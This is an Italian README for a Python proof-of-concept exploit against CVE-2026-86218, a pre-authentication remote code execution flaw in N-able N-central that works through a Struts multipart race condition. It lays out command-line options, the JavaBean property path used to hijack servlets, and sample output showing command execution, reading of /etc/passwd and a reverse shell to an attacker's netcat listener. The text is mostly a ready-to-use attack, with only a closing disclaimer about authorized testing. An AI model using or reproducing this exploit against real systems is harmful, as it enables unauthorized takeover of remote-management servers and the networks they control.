
Exploit proof-of-concept in Python 3 per CVE-2026-86218, un RCE pre-auth in N-able N-central tramite una race condition multipart di Struts, con esecuzione di comandi e supporto reverse shell.
Questo è un exploit proof-of-concept in Python 3 per CVE-2026-86218, una vulnerabilità critica di esecuzione di codice in remoto pre-autenticazione in N-able N-central.
Dettagli della vulnerabilità:
N-able N-central utilizza un form Struts con ambito di sessione su un'azione non autenticata (/remoteControlAction.do). Due richieste multipart concorrenti possono causare una race condition nel gestore multipart del form ed esporre la configurazione attiva di Jetty alla popolazione delle proprietà di Commons BeanUtils. Ciò consente a un attaccante di:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Opzione | Descrizione |
|---|---|
-t, --target | URL di N-central di destinazione (ad esempio, https://192.168.1.100) |
-c, --command | Singolo comando da eseguire |
-i, --interactive | Modalità comando interattiva |
--lhost | IP del listener per la reverse shell |
--lport | Porta del listener (predefinita: 4444) |
--servlet | Servlet da sostituire: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Verifica se il target è vulnerabile |
--no-verify-ssl | Disabilita la verifica del certificato SSL |
--timeout | Timeout della richiesta (predefinito: 30s) |
--race-delay | Ritardo della race condition (predefinito: 0.35s) |
-v, --verbose | Abilita output dettagliato |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Output previsto:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Output previsto:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Avvia prima il listener:
nc -lvnp 4444
Esegui l'exploit:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Output previsto:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Output del listener:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Sessione interattiva:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Descrizione | Impatto |
|---|---|---|
LogRetrieval | Endpoint di recupero log (predefinito) | Meno invasivo, log non disponibili fino al riavvio |
FileTransfer | Endpoint di trasferimento file | Interrompe la funzionalità di trasferimento file |
AutomationManagerDownloadServlet | Download dell'automation manager | Richiede la porta dell'interfaccia di gestione (8443) |
/remoteControlAction.do per estrarre la versione dalla pagina di erroreLa vulnerabilità sfrutta una race condition nella gestione dei form multipart di Struts:
I campi di mutazione utilizzano percorsi di proprietà JavaBean:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Questo attraversa: gestore multipart → contesto servlet → classloader → WebAppContext → gestore servlet → holder specifico
/remoteControlAction.doQuesto exploit è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. L'uso non autorizzato di questo exploit contro sistemi di cui non si è proprietari o per cui non si ha il permesso di testare è illegale e non etico.
Ottieni sempre un'autorizzazione adeguata prima di condurre attività di penetration testing.